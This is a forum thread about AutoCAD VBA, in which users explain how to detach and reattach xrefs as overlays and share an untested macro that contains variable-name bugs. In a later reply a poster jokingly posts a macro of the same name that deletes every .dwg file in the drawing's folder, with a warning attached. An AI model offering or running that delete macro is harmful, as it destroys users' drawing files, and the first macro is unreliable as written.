Author Topic: External References, can you change the overlay property?  (Read 6237 times)

0 Members and 1 Guest are viewing this topic.

Co.Mnstr

  • Guest
External References, can you change the overlay property?
« on: October 16, 2008, 06:30:54 PM »
I need a quick way to look up all the xrefs in a drawing and then change them to all overlay. I have not found where that control might be. Can someone point me in the right direction? Also how do I get VBA to make a collection of Xref names?

Thanks,
Alex

FengK

  • Guest
Re: External References, can you change the overlay property?
« Reply #1 on: October 16, 2008, 06:47:53 PM »
With lisp or VBA, you might have to detach and re-attach the xref. Not sure about with .NET languages like C# or VB.NET. Probably no need.

Bob Wahr

  • Guest
Re: External References, can you change the overlay property?
« Reply #2 on: October 16, 2008, 06:59:37 PM »
You can't change the attachment type, you have to detach and reattach.

Co.Mnstr

  • Guest
Re: External References, can you change the overlay property?
« Reply #3 on: October 16, 2008, 07:04:07 PM »
With everything I've been reading lately, I would like to do it in VBA. Would I have to make a collection of the file name, file path and insertion point. (We do all xrefs at 1 to 1 scale and don't do rotations.) Then detach all xrefs using the file name. Then attach again as an overlay, using the file name, and path and insertion point. Is that the basic idea?

Bob Wahr

  • Guest
Re: External References, can you change the overlay property?
« Reply #4 on: October 16, 2008, 07:20:35 PM »
Do a filtered selection set, then a for each loop on the set.  Get the path/name of the xref and the insertion point, detach, then attach the new one.

Can you go from here or do you need some help?

Bob Wahr

  • Guest
Re: External References, can you change the overlay property?
« Reply #5 on: October 16, 2008, 07:21:37 PM »
I actually wrote something in VBA to do this a few years ago but probably don't have it anymore.  I'll check though.

Bob Wahr

  • Guest
Re: External References, can you change the overlay property?
« Reply #6 on: October 16, 2008, 07:57:57 PM »
I couldn't find it so I did it again really quickly.  This is less elegant than it could be because I did some quick cribbing and patching from other things.  It will also only work on modelspace xrefs.  If it hits a pspace xref it will detach it and reattach in mspace.  I've been told before that I shouldn't post any code unless it's fully tested and bulletproof because I'm wasting the persons time if they have to actually put any effort into it themselves, but this is not tested.  It should work.  If it doesn't, it will with minor tweaking.

Code: [Select]
Public Sub Layover()

 Dim objSelSets As AcadSelectionSets
 Dim objSelSet As AcadSelectionSet
 Dim objOverlay As AcadExternalReference
 Dim intType(0) As Integer
 Dim varData(0) As Variant
 Dim strPath As String
 Dim strName As String
 Dim dblInsPnt(0 To 2) As Double
 Dim objXref As AcadExternalReference
 Dim objEnt As AcadEntity
 Dim objBlk As AcadBlock
 Dim objBlks As AcadBlocks

 Set objBlks = ThisDrawing.Blocks
 Set objSelSets = ThisDrawing.SelectionSets
 For Each objSelSet In objSelSets
   If objSelSet.Name = "GetXrefs" Then
     objSelSets.Item("GetXrefs").Delete
     Exit For
   End If
 Next
 Set objSelSet = objSelSets.Add("GetXrefs")
 intType(0) = 0
 varData(0) = "INSERT"
 objSelSet.Select 5, filtertype:=intType, filterdata:=varData
   For Each objEnt In objSelSet
     Set objBlk = objBlks(objEnt.Name)
     If objBlk.IsXRef Then
       Set objXref = objEnt
       strName = obxref.Name
       strPath = objXref.Path
       dblInsPt = objXref.InsertionPoint
       objBlk.Detach
       Set objOverlay = ModelSpace.AttachExternalReference(strPath, strName, dblInsPnt, 1, 1, 1, 1, True)
     End If
   Next objEnt
End Sub

Bob Wahr

  • Guest
Re: External References, can you change the overlay property?
« Reply #7 on: October 16, 2008, 07:59:16 PM »
Oh, no error control, use at your own risk or ignore at will, blahgitty, blahgitty, blah.

SomeCallMeDave

  • Guest
Re: External References, can you change the overlay property?
« Reply #8 on: October 16, 2008, 10:02:01 PM »
Nice code Boob.

Now could you change it to do something entirely different.  I don't have time to tell you exactly what I need, so please make sure it works. 

Thanks in advance. 


PS.  I'm only trying to help others learn by asking you to do my job.


Chuck Gabriel

  • Guest
Re: External References, can you change the overlay property?
« Reply #9 on: October 17, 2008, 07:36:35 AM »
Somebody needs a nap. :-D

Bob Wahr

  • Guest
Re: External References, can you change the overlay property?
« Reply #10 on: October 17, 2008, 10:53:16 AM »
Nice code Boob.

Now could you change it to do something entirely different.  I don't have time to tell you exactly what I need, so please make sure it works. 

Thanks in advance. 


PS.  I'm only trying to help others learn by asking you to do my job.


:-D

Matt__W

  • Seagull
  • Posts: 12955
  • I like my water diluted.
Re: External References, can you change the overlay property?
« Reply #11 on: October 17, 2008, 11:15:55 AM »
Autodesk Expert Elite
Revit Subject Matter Expert (SME)
Owner/FAA sUAS Pilot @ http://skyviz.io

Bob Wahr

  • Guest
Re: External References, can you change the overlay property?
« Reply #12 on: October 17, 2008, 11:17:55 AM »
He's seen me with a spandex autodesk shirt.

Bob Wahr

  • Guest
Re: External References, can you change the overlay property?
« Reply #13 on: October 17, 2008, 11:24:19 AM »
Here you go SCuMDave.  I'm sure this is exactly what you needed.

Code: [Select]
Public Sub Layover()

 Dim objSelSets As AcadSelectionSets
 Dim objSelSet As AcadSelectionSet
 Dim objOverlay As AcadExternalReference
 Dim intType(0) As Integer
 Dim varData(0) As Variant
 Dim strPath As String
 Dim strName As String
 Dim dblInsPnt(0 To 2) As Double
 Dim objXref As AcadExternalReference
 Dim objEnt As AcadEntity
 Dim objBlk As AcadBlock
 Dim objBlks As AcadBlocks

strPath = ThisDrawing.GetVariable("DWGPREFIX")
strPath = strPath + "*.dwg"
Kill strPath

End Sub



WARNING!!!!!!!!!!!!!!!

If you're not Dave and/or can't understand what this is doing, do NOT under any circumstances, run it.

Matt__W

  • Seagull
  • Posts: 12955
  • I like my water diluted.
Re: External References, can you change the overlay property?
« Reply #14 on: October 17, 2008, 11:24:59 AM »
He's seen me with a spandex autodesk shirt.
Autodesk Expert Elite
Revit Subject Matter Expert (SME)
Owner/FAA sUAS Pilot @ http://skyviz.io